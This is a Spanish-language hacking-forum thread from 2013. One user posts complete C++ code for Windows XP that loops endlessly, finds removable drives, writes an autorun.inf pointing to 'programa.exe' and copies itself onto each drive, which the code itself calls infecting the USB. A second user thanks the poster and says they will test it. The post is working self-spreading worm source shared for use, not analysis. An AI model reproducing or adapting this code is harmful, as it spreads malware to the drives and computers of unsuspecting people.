Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: daryo en 3 Julio 2013, 16:07 pm



Título: [c++ - windows xp]copiarse a una usb con autorun
Publicado por: daryo en 3 Julio 2013, 16:07 pm
talves a alguien le sirva

Código
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <fstream>
  4.  
  5.  
  6.  
  7. using namespace std;
  8.  
  9. int main(int argc,char *argv[])
  10. {
  11.    while(true){
  12.    UINT test;
  13.    char tok[][5]={"C:","D:","E:","F:","G:","H:"}; //obviamente se pueeden poner mas  aunque no es muy comun que pase de H://
  14.    for (int l=0;l<=4;l++){
  15.    test = GetDriveType(tok[l]); // MIRA QUE TIPO DE DISPOSITIVO ES EN CASO DE SER 2 ENTONCES ES UNA USB SI ES 1 NO EXISTE
  16.    if(test==2){
  17.    SetCurrentDirectory(tok[l]); // SE UBICA EN EL DIRECOTORIO RAIZ DE LA USB
  18.    ifstream programa;
  19.    programa.open("programa.exe");
  20.    if(!programa.is_open()){ // EN CASO DE NO ESTAR INFECTADA LO HACE
  21.    cout << "usb infectada" << endl;
  22.    ofstream autorun;
  23.    autorun.open("autorun.inf"); //FAMOSO AUTORUN
  24.    autorun << "[Autorun]" << endl;
  25.    autorun << "Open=programa.exe" << endl;
  26.    autorun << "Label=USB INFECTADA"<< endl;
  27.    autorun << "UseAutoplay=1"<< endl;
  28.    autorun << "action=Abrir USB"<< endl;
  29.    autorun << "action=@programa.exe"<< endl;
  30.    autorun << "shell\\open=Abrir"<< endl;
  31.    autorun << "shell\\open\\Command=programa.exe" << endl;
  32.    autorun << "shell\\open\\Default=1" << endl;
  33.    autorun << "shell\\explore=Explorar"<< endl;
  34.    autorun << "shell\\explore\\Command=programa.exe"<< endl;
  35.    autorun.close();
  36.    CopyFile( argv[0], "programa.exe", true ); // SE COPIA
  37.    }
  38.    }
  39.    }
  40.    Sleep(5000); // ESPERA 5 SEGUNDOS
  41.    }
  42.    return 0;
  43. }


Título: Re: [c++ - windows xp]copiarse a una usb con autorun
Publicado por: 5cr173R en 6 Julio 2013, 01:23 am
Muy bueno amigo, ahora lo pruebo!! gracias ;-)